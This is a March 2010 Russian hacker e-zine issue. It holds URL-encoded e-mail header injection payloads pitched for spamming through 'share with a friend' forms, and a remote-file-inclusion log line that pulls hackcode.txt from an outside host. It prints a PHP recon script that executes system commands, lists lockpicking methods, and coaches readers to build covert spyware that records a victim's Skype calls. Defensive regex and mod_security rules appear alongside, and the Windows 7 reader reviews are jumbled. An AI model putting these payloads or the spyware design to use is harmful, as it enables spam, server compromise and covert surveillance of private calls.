Ранее я уже упоминал про MIME-формат. Он имеет один замечательный заголовок, Content type, который позволяет отправлять любые вложения в электронном письме. А еще он может быть использован для проведения e-mail-инъекции. В качестве значения Content type можно использовать multipart/mixed (или multipart/alternative или multipart/related), тем самым разделяя письмо на части. Эти части отделяются друг от друга некоторым набором символов (boundary). Пример письма с использованием заголовка Content-Type выглядит следующим образом: To: test@mail.ru Subject: Test Injection From: test_inj@host.ru Content-Type: multipart/mixed; boundary=”part1”; Скрытый текст - part1 Content-Type: plain/text;

Производим проверку на инъекцию

- part1- Еще один скрытый текст Все заголовки до Content-Type мы уже рассматривали. Далее можно видеть boundary, значением которой служит “part1”. Это и есть тот набор символов, который будет разделять наше письмо. Затем идет текст “Скрытый текст” - он не будет виден в почтовом клиенте, так как расположен до первого обозначения начала письма, которое идет следом за ним. Следующий текст будет виден как текст сообщения, заканчиваться он будет строкой “- part1-”, указывающей на конец текста письма. А за ним идет второй скрытый текст, который также не будет виден большинством email-клиентов. Чтобы организовать такое письмо, достаточно в качестве отправителя указать следующие данные: sender@mail.ru%0AContent-Type:multipart/mixed;%20boundary=»part1»; %0A-part1%0AContentType:text/html%0A%0AТестовый%20Текст.%0A--part1Из такого запроса мы получим следующее сообщение: To: recip@mail.ru Subject: Тест инъекции From: sender@mail.ru Content-Type:multipart/mixed; boundary=”part1”; -part1 Content-Type:text/html Тестовый текст -part1-

Привет, твой сайт очень классный!

Полученное письмо будет содержать только текст “Тестовый текст” (формат письма будет HTML, как видно из заголовка Content-Type:text/html), а “Привет, твой сайт очень классный!” останется незамеченным. Такой метод инъекции подходит для сайтов, в которых есть функция “Поделиться с другом”. Чаще всего она не позволяет редактировать текст письма, но позволяет указать отправителя.

18


vr-online.ru

март 2010

В этом случае достаточно применить вышеуказанный способ, тогда вместо оригинального текста, подставленного авторами сайта, будет любой, указанный спамером. А оригинал будет смещен в конец сообщения, как это сделано в нашем примере выше. В сочетании со вторым рассмотренным примером e-mail инъекции, можно разослать таким хитрым способом любые сообщения большому количеству народа. Для этого достаточно подкорректировать ранее рассмотренный пример таким образом: sender@mail.ru%0ASubject:Testing%0ABCC:another_mail@mail.ru%0A Content-Type:multipart/ mixed;%20boundary=»part1»;%0A-part1%0A Content-Type:text/html%0A%0AТестовый%20Текст.%0A-part1Письмо будет сформировано таким же образом, как и в примере выше. Однако оно будет отправлено еще одному получателю, указанному в заголовке BCC - another_mail@mail.ru. А их может быть указано очень много. Вот так довольно-таки легко можно воспользоваться брешью в защите web-сайта в своих целях. Что и делают нехорошие люди, о чем свидетельствуют, например, письма, приходящие мне на почту. Анализ заголовков показал, что это и есть та самая E-mail Injection. Собственно, поэтому я и решил написать эту статью. Чем меньше будет уязвимых сайтов, тем меньше будет поток спама. Поэтому предлагаю рассмотреть способы защиты web-сайта от инъекций подобного рода.

Четыре эшелона обороны

Способов защититься от подобной атаки довольно много, некоторые из них очень даже просты в реализации. Но, несмотря на это, мало кто заботится о безопасности. Я рассмотрю несколько самых актуальных и действующих алгоритмов. Советую защитить свой сайт одним из них, если у вас есть форма обратной связи, или что-нибудь, позволяющее отправлять письмо. Задача защиты от e-mail injection сводится к фильтрации введенных данных («золотое правило» безопасности), а точнее - проверке на присутствие переносов строк (\r\n). Реализовать это можно по-разному: 1) С помощью регулярных выражений (Regex). Код проверки очень прост: <?php $from = $_POST[“sender”]; if (eregi(“(\r|\n)”, $from)) { die(«Неверно заполнены поля формы!»); } ?>

Проверять таким способом надо все поля: тема, отправитель и прочие. 2) С помощью специальных классов для PHP. Это Zend_Mail, PEAR Mail и Swift Mailer. Все они в обязательном порядке проверяют указанные данные на попытку произвести инъекцию. Найти их в Интернете не составит труда, поэтому ссылки я приводить не буду. 3) Установить mod_security на сервер. Для проверки и защиты от инъекции потребуется настроить его на фильтрацию фраз “bcc”, “to” и “cc” в POST и GET запросах. Для этого надо создать следующее правило в настройках mod_security: SecFilterSelective ARGS_VALUES «\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@» 4) Давать возможность заполнить только текст письма. Это самый простой способ и один из самых эффективных. Где же указать email для обратной связи с отправителем? Ну пусть укажет его в теле письма. Все гениальное - просто :). Заключение Вот мы и обогатили наш багаж знаний еще одной уязвимостью современных web-проектов. Не забывайте проверять все входящие данные, будь то SQL-запрос или данные об отправителе письма на предмет посторонних символов. На этом я закончу свою статью, а вам пожелаю удачи и поменьше спама. SASecurity gr. http://sa-sec.org, http://it-battles.org - фестиваль для всех IT-шников!

19


vr-online.ru

март 2010 Роман Костенко aka Lord_of_fear

Ещё один способ похакать web-сайт Многие блоггеры называют это ‘bunch of kiddies’ (дословный перевод “куча детишек”). Сам недавно с этим столкнулся, изучая логи нашего vr-online. У нас такое, конечно же, не прокатит, но всё равно интересно для изучения. Читай, как это делается. Это – перевод статьи с ресурса www.josepino.com.

Если у тебя используются php скрипты или любые другие динамические страницы, то сайт уже подвержен хаку. Ты можешь думать “Это со мной никогда не случится”, но рано или поздно можно обнаружить следы попытки хака или же лицезреть на главной странице “Hacked by…”. Давай разберем, как же это всё можно провернуть. Итак, тебя должно встревожить запись в логе типа: Jun 27, 01:40.24,index%20?load=http://somewebsite.etc/bbs/data/text/hackcode.txt???, IP:91.121.83.177, Host:ns352532.ovh.net, Agent:Mozilla/5.0 Что же здесь происходит? Кто-то пытается открыть страницу: index%20?load=http://somewebsite.etc/bbs/data/text/hackcode.txt??? Пробел (%20) перед знаком вопроса, полагаю, пытается “обмануть” скрипт и выполнить запрос: “load=http://somewebsite.etc/bbs/data/text/hackcode.txt”. (прим. переводчика: считаю, что 3 вопросительный знака в конце запроса используется для обмана mod_rewrite. Мысли же автора статьи по этому поводу тяжело переводимы: The question marks after the query are used to “trick” the program indicating the “real query” comes next. Посему оставляю без перевода.) В общем, злоумышленник пытается найти прорехи в секьюрности PHP кода и замутить пхп- инклудинг. Если взглянуть на содержимое файла hackcode.txt, то ты увидишь следующее: <?php /* Fx29ID */ echo(“FeeL”.”CoMz”); die(“FeeL”.”CoMz”); /* Fx29ID */ ?>; Выглядит совсем нестрашно. Всего лишь выводится строка: FeeLCoMzFeeLCoMz Но, увидев этот текст, хакер пойдёт дальше. Теперь можно выполнить более интересный код: <?php ##[ Fx29ID ]## fx(“ID”,”FeeL”.”CoMz”); $P = @getcwd(); $IP = @getenv(“SERVER_ADDR”); $UID = fx29exec(“id”); fx(“SAFE”,@safemode()?”ON”:”OFF”); fx(“OS”,@PHP_OS); fx(“UNAME”,@php_uname()); fx(“SERVER”,($IP)?$IP:”-”); fx(“USER”,@get_current_user()); fx(“UID”,($UID)?$UID:”uid=”.@getmyuid().” gid=”.@getmygid()); fx(“DIR”,$P); fx(“PERM”,(@is_writable($P))?”[W]“:”[R]“); fx(“HDD”,”Used: “.hdd(“used”).” Free: “.hdd(“free”).” Total: “.hdd(“total”)); fx(“DISFUNC”,@getdisfunc()); ##[ FX29SHEXEC ]##

20


vr-online.ru

март 2010

function fx($t,$c) { echo “$t: “; echo (is_array($c))?join(” “,$c):$c; echo “<br>”; } function safemode() { // Check the value of safe_mode } function getdisfunc() { $rez = explode(“,”,@ini_get(“disable_functions”)); return (!empty($rez))?$rez:array(); } function enabled($func) { return (function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) ? TRUE : FALSE; } function fx29exec($cmd) { if (enabled(“exec”)) { exec($cmd,$o); $rez = join(“\r\n”,$o); } elseif (enabled(“shell_exec”)) { $rez = shell_exec($cmd); } elseif (enabled(“system”)) { @ob_start(); @system($cmd); $rez = @ob_get_contents(); @ob_end_clean(); } elseif (enabled(“passthru”)) { @ob_start(); passthru($cmd); $rez = @ob_get_contents(); @ob_end_clean(); } elseif ( // other junk to read and display the system information } else { $rez = “Error!”; } return $rez; } function vsize($size) { if (!is_numeric($size)) { return FALSE; } else { // Calculates the size in GB, MB, KB and Bytes } } function hdd($type) { $P = @getcwd(); $T = @disk_total_space($P); $F = @disk_free_space($P); $U = $T – $U; // Returns the Total disk space, available and used. } die(“FeeLCoMz”); ?>

Теперь это больше похоже на реальный хак. Собрав всю информацию о системе, хакер сможет применить её в любое время против твоего ресурса. Ты удивишься: Кто же он? Как он получит эту инфу? Какой у него IP? Это может быть кто угодно. Его IP ты не узнаешь, т.к. в основном для этого используются компыботы или настоящие сервера. Необходим, например, лишь интерпретатор Perl. Мой совет по этому поводу таков: - Постоянно следи за логами - Проверяй даты последних изменений html и php файлов - Не юзай доступ по FTP без шифрования пароля - Не пиши говнокода. В частности, прямое выполнение программ и открытие файлов из запроса - Обязательно вовремя обновляй движки и модули сторонних авторов. На этом, пожалуй, всё. See you! Оригинал статьи: http://www.josepino.com/scripts/howto_website_hack1

21


vr-online.ru

март 2010 Роман Костенко aka Lord_of_fear

Как хакнуть замок. Разбираемся с реальными замками Недавно я прочитал доклад “Ten Things Everyone Should Know About Lockpicking & Physical Security”. В переводе название звучит так: “Десять вещей о взломе замков и обеспечении физической защиты, которые должен знать каждый”. Автором является Deviant Ollam. Полученная информация меня заинтересовала и я решил узнать об этом побольше. Результаты своих поисков я представляю тебе в этой статье. :) О физической безопасности зачастую забывают в нашем технологическом мире. Тем не менее, это столь же важно, как и установка последних патчей, периодическая смена паролей и корректное назначение прав пользователям. Ты можешь иметь самые неприступные сервера и сеть, но это уже не имеет никакого значения, когда злоумышленник проникнет через обычную дверь.

Ох, уж эти взломщики…

Если необхомо запретить доступ к серверу, есть очень простое и идеальное решение ... установить его в здании из железобетона и металла без дверей и окон. :) Это непрактично в реальном мире, т.к. обычно требуется разрешить доступ к этому серваку обслуживающего персонала. Поэтому требуется ограничить доступ к нему всем остальным с минимумом хлопот, затрат и усилий. Именно этой цели и служат замки. В общем, замки - достаточно простые устройства, которые используются для решения очень простых задач. Навесные замки сейчас используются только на амбарах в деревнях и воротах гаража, а в жилых помещениях их использование категорически неприемлемо. А так как мы говорим только о дверных замках, которые используются в офисных помещениях, лучше сразу перейдем к врезным.

Типы врезных замков Врезные

замки

имеют

различные

ключи

и

конструкции

запирающего

механизма:

1) Бессувальдные замки предназначены под ключи с фигурной бороздкой. Они имеют только одну сувальду, вследствие чего считается, что его без особого труда можно открыть отмычкой. Все потому что вырубленное гнездо под замок существенно ослабляет обвязку и снижает прочность двери. Такой замок идеально подойдет для внутренних межкомнатных дверей. 2) Для сувальдных замков характерно наличие прорезей различной глубины на бородке ключа. Сувальдные замки считаются достаточно надежными. Трех- и четырехоборотные сувальдные замки открыть непрофессионалу отмычкой практически невозможно. Недостаток этих замков заключается в том, что из-за своей значительной толщины они

22


vr-online.ru

март 2010 могут

быть

установлены

далеко

не

в

любую

дверь.

3) Плоские или коробчатые замки имеют коробчатую форму и либо привинчиваются к дверному полотну (накладные замки), либо вставляются в нишу в дверном полотне (врезные коробчатые замки). Небольшие плоские замки подходят для дополнительной защиты при использовании сувальдных замков, их запирают, как правило, ключом типа английского. Такие замки либо имеют с внутренней стороны поворотную головку, либо открываются ключом с обеих сторон. Однако в качестве дополнительных замков они обеспечивают надежность только при массивных дверях и хорошем их закреплении. Благодаря дополнительным конструктивным мерам, таким как клиновая защелка, предохранительная задвижка и т. п., их надежность повышается. 4) Цилиндрические замки, или, как их еще называют, английские, состоят из врезного замка и вставляемого в него цилиндра. Такие замки имеют не менее пяти сувальд, выполненных в виде штифтов, и поэтому сравнительно надежны. Дополнительную защиту от взлома представляет цилиндровый замок, устанавливаемый в просверленное отверстие. Цилиндр должен устанавливаться так, чтобы снаружи его нельзя было вывинтить и вытащить или протолкнуть внутрь. Следовательно, он должен либо не выходить за поверхность дверного полотна, либо защищаться накладкой, привинчиваемой с внутренней стороны помещения.

Ближе к делу

Посмотрим снаружи на типичный цилиндровый замок. В большинстве представленных на рынке цилиндровых замков используется цилиндр «европейского профиля» с передаточным механизмом в виде кулачка. Распознавание кода ключа происходит в цилиндре (секретной части замка); если используется правильный ключ, кулачок цилиндра начинает вращаться и выдвигает ригеля замка. При этом выдвижение ригелей происходит рывками, свободный ход цилиндра очень велик, что и играет на руку взломщику, но об этом позже. При несовпадении хотя бы одного элемента, механизм не сработает. Цилиндровые замки приобрели большую популярность в начале двадцатого века благодаря удобству их использования. В замках цилиндрового типа все цилиндры имеют одинаковый профиль по евростандарту, поэтому при потере ключа меняется только сам цилиндр, а не весь замок. Секретный механизм цилиндра может состоять: из комбинации маленьких пинов (если проще штырей, игл), из комбинации поворота на разные углы шайб, вращающихся блоков, подвижных щупов или, как в сложных конструкциях, из комбинации всех этих способов.

Большинство замков достаточно легко открыть

В теории, чем больше пинов имеет замок, тем больше существует комбинаций расположения этих пинов при попытке взлома. А значит, тем сложнее его будет открыть.

23


vr-online.ru

март 2010

Однако, это не совсем так. Основным недостатком, который присутствуют почти во всех конструкциях, является возможность работы со всеми пинами одновременно, что позволяет вскрыть замок даже с большим числом игл. Большинство считают, что все пины всегда располагаются на одинаковом расстоянии друг от друга строго по одной прямой (рисунок слева). Однако, такое бывает редко. В основном из-за неточности работы оборудования при создании замка мы имеем такую картину: рисунок справа. В данной ситуации от проворота цилиндра спасает лишь один пин (3-й сверху). Задача взломщика – найти этот пин. Во многих качественных замках есть дополнительная встроенная защита, но следует помнить, что секретность простых цилиндров достаточно низкая, - такие цилиндры можно вскрыть подбором ключей или же при помощи отмычки. Также дешевый замок можно высверлить или выбить. Методика взлома цилиндрового замка с использованием отмычек достаточно проста:

Вставка отмычек и нащупывание штифта

Выравнивание всех штифтов

24

Поворотное усилие для фиксации штифта

Открытие замка


vr-online.ru

март 2010

А как же начет сувальдных замков?

Сувальдные замки часто по незнанию называют сейфовыми, так как раньше в сейфах почти всегда использовали замки именно этой группы. Сувальдная система замка наиболее древняя и использовалась в упрощенном виде в первых замках, изобретенных человеком. Основа её действия - набор пластин (сувальд), которые, выстраиваясь под действием зубцов (бородки) ключа в строго определённых положениях, позволяют провернуть механизм замка. Несовпадение хотя бы одной сувальды с «правильным» положением делает невозможным открывание замка. Чем больше сувальд, тем труднее вскрыть замок.

Виды ключей для сувальдных замков Такой тип замков, при должной сноровке, может быть открыт при помощи специальных отмычек. Для этого, используют Г-образные крючки. Именно благодаря сложным манипуляциям с ними удается приподнять все пластины секретного механизма. Поднимать пластины необходимо после каждого проворота ключа.

Соответственно, чем больше сувальд, и чем точнее они изготовлены, тем выше секретность замка и тем сложнее его открыть. Казалось бы, все просто, но это далеко не так. Помимо ловкости и чувствительности рук, профессионал должен досконально представлять внутренность замка, знать его особенности, чувствовать «ответ», то есть, понимать, что происходит внутри при его манипуляциях. Опыт приходит с годами. И в реальности, специалистов в данной области крайне мало. В г.Хабаровск мне известен только один настоящий профессионал в этом деле. И делает он это потрясающе быстро. Старенький сейф, ключ от которого был утерян, он вскрыл буквально за пару минут.

25


vr-online.ru

март 2010

Подведём итоги

Помимо использования отмычек существует множество других вариантов взлома замков. Как простых, так и довольно изощренных: 1. Выламывание

Метод взлома замка с использованием грубых направленных действий по отношению ко всему замку или только к его цилиндру; 2. Использование отмычек

Наиболее распространенная техника взлома замков, бесшумна, со специальным изготовлением и подбором открывающих приспособлений; 3. Вскрытие замка слесарным инструментом

Давно проверенный вариант взлома замков, когда к каждому замку подбирается индивидуально свой инструмент, нередко с применением грубой физической силы; 4. Свертыши

Кустарно изготовленный специальный стальной стержень, который вставляется в чуть рассверленное отверстие и поворачивается при помощи гаечного ключа; 5. Методики взлома замков воротками, крючками, захватами

Относятся к технике взлома замков отмычками, т.е. 'интеллигентный', неразрушающий метод; 6. Взлом крестообразной отверткой

Техника взлома замков с крестообразными ключами; 7. Высверливание

Относится к технике взлома замков путем удаления личинки; 8. Тарирование механическим плечом

Попросту - техники взлома замков путем искусного и малошумного вышибания дверей; 9. Выламывание

Техники взлома замков путем удаления запирающего механизма, обычно разводным ключом; 10. Распиловка

Техники взлома замков навесного типа, распиливание дужки; 11. Техника выстукивания (перкуссия); 12. Снятие слепка с ключа

Техники взлома замков путем изготовления дубликата, неразрушительный метод; 13. Манипуляционный метод

Техники взлома замков путем использования 2 основных методов - 'проглаживание' и пикинг; 14. Бампинг

Техники взлома замков и цилиндров специальным 'бамп-ключом': постукивающими движениями вор создает вибрацию внутри замка, отчего отдельные элементы начинают подскакивать, а подпрыгнувшие детали открывают путь входа отмычке; 15. Вдавливание

С использованием методика взлома замков при помощи болванки для ключа, которая вставляется в канал замкового цилиндра; 16. Метод деформационных отпечатков

Вариант взлома замков электронного типа с использованием электромеханических устройств; 17. Разлом цилиндрового механизма

Вариант взлома замков с применением плоскогубцев и кусачек путем захвата края запирающего механизма. Для большинства этих способов взлома я нашёл мануалы. Это - flash ролики. Я их приложил как дополнительный материал к журналу. Смотри и учись, но помни, что вся информация представлена только в ознакомительных целях :) На этом, пожалуй, всё, мои дорогой читатель. Рад, если моя статья была тебе полезна. :)

26


vr-online.ru

март 2010

27


март 2010

vr-online.ru

wwwnet Установил в качестве основной операционной системы сразу после того, как релиз стал доступен по MSDN AA. На мой взгляд, удобный и качественный продукт. Многие остаются до сих пор на Windows XP, но Windows 7 достойная альтернатива, предоставляющая новые функции. Моя оценка: 5, рекомендую.

Egoiste

JimmyJonezz Windows 7 поражает своими возможностями: мультитач, распознавание рукописного текста, распознавание голоса, система определения местоположения пользователя на основе различных датчиков, встроенная поддержка входа в систему при помощи биометрических данных и т.д и т.п. В сегодняшних, российских реалиях, задействовать функции данной ОС в полной мере могут только крупные компании (и даже это мне представляется смутно). Обычному пользователю и половины не надо из того, что предлагает Windows 7. Интерес будет привлекать, разьве что обновленный интерфес и нынче новомодный таксбар. Если обратить внимание на статистику, то “старушка XP” пока вполне во всем устраивает львиную долю пользователей. Можно конечно отметить реально быструю работу данной ОС, облегченные настройки сети и т.п., но даже сейчас это особо не впечатляет.

Очень порадовал тот факт, что установка прошла довольно быстро, с минимальным количеством вопрос в процессе этой самой установки. И самое главное – драйвера. Винда без проблем САМА! определила все оборудование и установила драйвера. Проблем с софтом замечено не было. В качестве антивируса и файервола у меня работают MS Security Essentials и Outpost Firewall, которые установились и работают без проблем. Также было установлено все программное обеспечение, с которым я ДОЛГОЕ время работал до этого – проблем не возникало. От интерфейса Windows Aero и всех прилагающихся к нему фич (наподобие Aero Shake, Aero Peek и Aero Snap)я просто без ума. Люблю красивые вещи. Особенно, если дело доходит до работы. Вдвойне было приятно и как программисту. Теперь мои программы могут выглядить не просто красиво, а впечатляюще, приобретая при этом много юзабильных решений (aka достоинств) (мультитач, aero возможности, JumpList, IconOverlay, и т.д.), которые не предоставляли младшие собратья Windows 7. Вообщем, теперь, когда все только только начали осваивать новые возможности Windows 7, интернет запестрел новостями о недалёком выходе ОС нового поколения Windows 8. Но утверждать чего-то конкретного никто не берётся. Но мне оно по барабану. Мне пока и того арсенала, который идёт вместе с Windows 7, вполне достаточно. Есть ещё много, до чего не дошли моё любопытство и мои руки ;)

28


vr-online.ru

март 2010

Lord of fear

Уже около 4-х месяцев мой десктопный ПК работает под управлением семёрки. Windows 7 позиционировали как самую быструю, простую и удобную операционную систему. Простая? Да! Даже проститутка сможет её поставить. :) Удобная? Да! Самая быстрая? Тут я вынужден немного не согласиться. Я этого как то не заметил. Ибо даже тесты THG(www.thg.ru) доказали, что семёрочка всего чуть-чуть быстрее висты в синтетических тестах. Интерфейс Aero работает ощутимо “тяжело”. Не думаю, что проблема в моей тачке (Athlon x2 6000+, 2Гб RAM DDR2-800). Посему я поставил своё любимое классическое оформление и не жу-жу. ОС не должна быть красивой. По той же причине я придерживаюсь Gnome при использовании Linux систем :) А для сервера всегда без иксов… Ладно, я немного отвлекся… Хочется ещё сказать, что ось получилась на славу. Претензий не имею. Думаю, компания Microsoft не прогадала с созданием Windows 7.

zahod5277 Windows 7 я себе еще не ставил, но часто юзаю ее у друзей и родственников. Что я могу сказать? После 6 лет за ХРюшей седьмые окна кажутся чем-то экстраординарным и необычным, взять тот же SuperBar, полезная штука. Количество настроек и опций тоже поражает, когда поставлю семерку себе - буду нажимать все подряд кнопочки. Однако заметил небольшую сложность в обращении, не смог найти где настраивается режим отображения скрытых папок, огорчило... Скорость работы? Да фиг его знает, вроде не

тормозит, не виснет. Мне нравится. Как только

Alfenius

куплю болванку - залью образ на диск и снесу нафиг свою ХР.

Возможности новой ОС Microsoft до конца так и не понял, сижу на beta версии. Beta версия глючит и самое важное не поддерживает большое количество софта. Внешне смахивает на висту. В ходе На этот раз Microsoft действительно извращений над системой постарались и сделали качественную ОС. Vista – (т.е. отключение тем, была провальной версией Windows. Как я понимаю, сами отключение практически представители MS это признали, а вот семерка – совсем всех сервисов), глюки другой разговор. Знакомство с этой версией Windows у меня почти не ощутимы, впервые произошло в конце 2008. Тогда мне потребовалось написать да и оперативной обзорную статью в Хакер и я скачал первую бета версию. Сначала памяти очень мало по я не верил, что семерка сможет нормально заработать на моем моему «кушает». При стареньком ПК. На нем же в свое время я тестировал и висту. Она открытии IE с парой у меня очень тормозила. Думал, что с семеркой будет та же самая вкладок появляются ситуация. А не тут то было! Мало того, что Windows 7 установилась такие глюки, что не быстрей, чем Vista, так и тормозов я практически не ощутил. Да, стиль просто работать, оформления Aero тяжел, но не настолько, чтобы с ним нельзя было а нажать клавижу комфортно работать. Скорость загрузки меня также порадовала. пуск практически Проведя тесты и написав статью, я понял, что Windows 7 – та невозможно. А так в ОС за которой я готов работать в ближайшие пять лет. остальном вроде ничего, После официального релиза семерки в России я раскошелился хотя думаю не скоро на и отслюнявил за коробочную версию. Это действительно неё подсяду. («Это моё классный продукт, а за качество я готов платить. мнение, прошу меня не ругать!:)))»)

Spider_NET

29


vr-online.ru

C#. Прослушка Skype C#. Меняем настройки Proxy Delphi. Топологическая сортировка CSS3. Создание оптимизированных интерактивных HTML форм Delphi. GExperts: Помощник для Delphi. Delphi. WEB 2.0 программирование на Object Pascal. Часть 1 Delphi. WEB 2.0 программирование на Object Pascal. Часть 2 Drupal. Прикручиваем mp3 плеер SilverLight. Первое приложение для Windows Mobile C#. Исталлер средствами Visual Studio 30

март 2010


март 2010

vr-online.ru

Spider_NET aka Игорь Антонов (antonov.igor.khv@gmail.com)

Skype под прицелом большого брата

Я на 99,9% уверен, что ты приятель пользуешься Skype. Быстрый интернет уже не заморская диковинка и удел буржуев, а вполне доступная вещь и для провинциалов. Больше нет смысла надрываться и набивать на клаве килобайты текста при общении с удаленным другом. Гораздо проще взять и позвонить ему, воспользовавшись бесплатными услугами скайпа. Не правда ли здорово? На последний незамысловатый вопрос, типичный юзер ответит однозначно «да», а вот начинающий хацкер вероятно расстроится. Все гениальные keylog’еры, которые мы научили мастерить из подручных инструментов, начинают нервно курить в сторонке. Общение голосом хуками не перехватишь! Что же делать? Смириться и уходить на заслуженную ][ пенсию? Ни в коем случае! Я провел все необходимые исследования по захвату скайп-переговоров (редактор рубрики обещал поставить смертельную инъекцию, если я их не закончу) и прямо сейчас готов поделиться их результатами. Let’s go!

Способы перехвата

С целью мы определились и теперь нужно начитаться скучной теории, без которой в таком деле продвинуться нереально. Прогуляйся по улице, свари себе чашечку глинтвейна, расположись удобнее в своем кресле и начинай впитывать священные знания.

Форум поддержки разработчиков

31


vr-online.ru

март 2010

Способ #1

Буквально в начале октября 2009 года, один умелец написал продвинутый сниффер, о котором написали во всех security-ресурсах всемирной паутины. Если верить новостям и автору снифа, то выходит, что перцу удалось перехватить скайп трафик (ну это можно было сделать и раньше) и что самое главное – расшифровать его. Обойти такое событие стороной я не мог, поэтому немедленно решил найти заветный исходничек (автор сниффера был чертовски добр и выложил на паблик полный сорец), но жестко обломался. Враги народа убрали заветный сорец с сабжевого сайта, а часовой марш бросок по гуглу нормальных результатов не дал. Мне лишь попадались какие-то нерабочие сорцы. Совсем отчаявшись, я плюнул на этот вариант. Стоп! Если ничего не вышло, то зачем я все это тебе рассказываю? Все просто, ситуация меняется каждый день и вполне возможно, что к моменту выхода статьи в свет, на просторах всемирной паутины появятся рабочие сорцы этого тройчика. Чем черт не шутит. Учти, если удастся найти заветный исходник, то считай, у тебя в руках все козыри и все скайперы станут для тебя мишенями.

Способ #2

Несомненно, первый способ самый лучший, но с реализацией реальный напряг. Буду откровенен - я уже отчаялся и хотел положить на всю затею железный болт, но редактор рубрики был другого мнения. После пары намеков, двух ударов по почкам и печени я не смог отказать в подготовке материала. Как оказалось после, сделал я это не зря. Если не получается достичь цели напрямую, то нужно заходить с тылу. Так поступил и ваш покорный слуга. Идея проста до безобразия и возможно ты уже даже юзал эту фичу для какого-нибудь благого дела. Не буду ходить вокруг да около, а раскрою все карты. Итак, в горячо мной любимых операционных системах от Microsoft, есть такая фича как стерео микшер. Не многие знают, что благодаря этой, казалось бы, бесполезной приблуды и какого-нибудь языка программирования реально сварганить полноценного skype-шпиона. Активировав в своей (или не совсем своей ?) системе стерео микшер, тебе становятся подвластными оба звуковых потока – тот которой идет на микрофон и соответственно тот, который поступает на колонки/наушники. Догадываешься, к чему я клоню? Все верно, чтобы зарипать беседу двух людей по скайпу тебе лишь потребуется воспользоваться стандартными WinAPI объектами для записи звука с микрофона. Сделать это достаточно просто и убедиться в этом ты сможешь, взглянув на листинг 1. В нем я привел часть кода, отвечающего за запись звука. Не торопись переписывать данный листинг, сразу он у тебя все равно не скомпилиться. Увы, несмотря на всю мощь и безграничные возможности .NET Framework, в нем совершенно отсутствуют инструменты для записи звука. Несомненно, в будущих версиях этот пробел будет восполнен, но мы то ждать не можем. Многие .NET разработчики, для организации в своих приложениях возможности записи звука используют банальные вызовы API функций. Вариант неплохой, но крайне неудобный. Я пошел несколько другим путем и воспользовался наработками Mark Heath. Этот человек потрудился на славу и создал проект NAudio – аудиоредактор с открытым исходным кодом. В рамках проекта, Марк написал удобный каркас, позволяющий максимально удобно

32


vr-online.ru

март 2010

взаимодействовать с различными WinAPI функциями для работы со звуком. Весь проект NAudio доступен на нашем DVD. Просто подтяни его модули к своему проекту и тебе станут, доступны все необходимые классы. Скажу честно, записывать звук с их помощью крайне просто. Да ты, наверное, в этом уже убедился. В самом начале листинга, я определяю формат WAV файла. Для этого мне требуется установить количество каналов (в нашем случае, мы будем писать в mono) и частоту семпла. Кроме настроек формата аудиофайла, мне требуется определить устройство (device number) с которого будем захватывать звук. Я устанавливаю 0, что соответствует устройству записи по умолчанию. Узнавать об очередной порции поступивших на звуковую карту данных нам может событие waveIn_ DataAvaible(). Если оно сработало, то значит пришли данные и их требуется записать.

А вот и первые минусы

Не спеши пускать слюни и пытаться впопыхах сотворить зло для Skype. Предложенный мной способ хорош и полностью работоспособен, но у него есть несколько минусов, о которых тебе необходимо сразу же узнать. Некоторые из них: 1. Нет никаких гарантий, что в системе пользователя стерео микшер вообще будет активен. Да, он включен по умолчанию, но многие пользователи принудительно отключают его. Зачем? Лично мне приходится это делать, из-за того, что я пишу подкасты и мне крайне важно, чтобы звук захватывался лишь с моего микрофона, а не голоса соведущего. Твоя программа должна быть готова к такому положению дел и в случае чего суметь самостоятельно внести нужные настройки. Вот здесь возникают небольшие сложности, но разве кто-то говорил, что будет совсем просто? 2. Нет четкого ориентира, на который можно опереться и 100% заверить, что именно сейчас пользователь начал общаться со своим собеседником. На одном из кодерских форумов для решения данной траблы предлагали следующий способ: анализировать звук, поступающий на микрофон и в случае обнаружения больших скачков звуковой волны (т.е. когда человек начинает орать/говорить) приступать к записи. Для прерывания, следует руководствоваться примерно таким алгоритмом – ждем тишины и если она длиться более n-минут прекращаем захват звука. Предложенный алгоритм, несомненно, хорош, но в описанном выше виде им лучше не пользоваться. Попробую объяснить почему. Заюзав данный способ в чистом виде, ты рискуешь напороться на большое количество ложных срабатываний. Если на вражеской территории микрофон лежит возле колонок, из которых без устали звучит heavy metal, то твой трой будет постоянно вести запись и во время сбора урожая, ты обнаружишь, что у тебя появился сборник всех любимых треков твоей жертвы ?. Что же тогда делать? Надеяться на авось и писать все подряд? Можно, но это как-то не по-хакцерски. Я провел небольшой мозговой штурм и пришел к выводу, что озвученным выше способом пользоваться можно, но только предварительно организовав страховку. Страховка может быть как минимум двух видов: 1. Хуки. В нашем журнале мы неоднократно описывали технику применения хуков, и еще раз рассасывать все подробности, тем более приводить примеры, сильно обламывает. Ты уже не маленький и такие вещи должен знать ?. Я лишь подскажу алгоритм: a. Ставим хук на обработку создания новых окон. b. Реализуем проверку, в которой обрабатываем каждое вновь созданное окно. В коде проверки мы должны смотреть на: родителя окна, класс окна, заголовок и т.д. По этим признакам мы сможем

33


vr-online.ru

март 2010

распознать окно входящего Skype звонка и в случае чего начать запись. 2. Функции для работы с окнами. Вторым вариантом решения задачи будут хорошо знакомые тебе WinAPI функции для работы с окнами. Ты ведь еще помнишь такие слова как: FindWindow, EnumWindows, EnumChildWindows и т.д. С помощью этих API реализовывается банальный поиск окна входящего звонка. Если окно найдено, то жертва начала базарить по скайпу, в противном случае нужно выполнить поиск чуть попозже. Периодичность поиска должна быть минимальной, иначе ты рискуешь пропустить секретные звонки.

Способ #3

И вот мы медленно, но верно добрались до самого простого и удобного способа записи skype-бесед. Не многие знают, что разработчики Skype поощряют людей, имеющих желание разрабатывать всякие полезняшки для их детища. Само поощрение выражается в разработке и обновлении официального SDK.

Установка библиотеки взаимодействия со скайпом

На основе компонент входящих в SDK, программисты могут создавать аддоны или просто приложения на базе Skype. В качестве одной из значительных вкусностей этого наборчика можно выделить – наличие примеров для разных популярных языков программирования. Тут тебе и C++, и C# и даже великий и могучий Delphi не забыт (кстати, не все знают, но сам Skype написан на Delphi). Одним словом, этот SDK – рай для программистов, решивших поковырять Skype.

